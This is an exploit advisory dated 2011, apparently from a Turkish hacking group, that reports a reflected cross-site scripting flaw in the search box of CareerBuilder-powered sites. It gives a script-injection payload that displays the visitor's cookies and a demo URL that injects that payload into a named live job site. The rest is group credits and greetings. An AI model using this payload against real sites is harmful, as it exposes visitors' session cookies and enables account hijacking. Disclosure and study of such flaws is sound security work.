Sites powered by CareerBuilder suffer from a cross site scripting vulnerability.
9d7b6dbe930d644e2ab47535610458db70fe572c54f27cfdbe7669bf99e51032
# Exploit Title: CareerBuilder XSS
# Date: 20.11.2011 - 05.50
# Author: Mr.PaPaRoSSe
# Tested On: Win7
# Platform: Php
-------------------------------------------------------------
search box
"><script>alert(document.cookie)</script>
DEMO
http://www.eenbaan.nl/banen/zoeken/?keyword="><script>alert(document.cookie)</script>
-------------------------------------------------------------
Contact: paparosse.blogspot.com
Greetz: http://DarkDevilz.in/
-------------------------------------------------------------
3spi0n - ALEXTRAX - sanTiq0
Deathless - ZyX - Tarxes
53rh4+ - bLaCk_uMo - PeRs
syntaX - Mavi_Karalik - DarkCOD3R
x-Leader - Cyborg - Y2J
~ And All DD'z Family
-------------------------------------------------------------
#~ DarkDevilz - Defence And Destruction Group'z - TURKEY ~#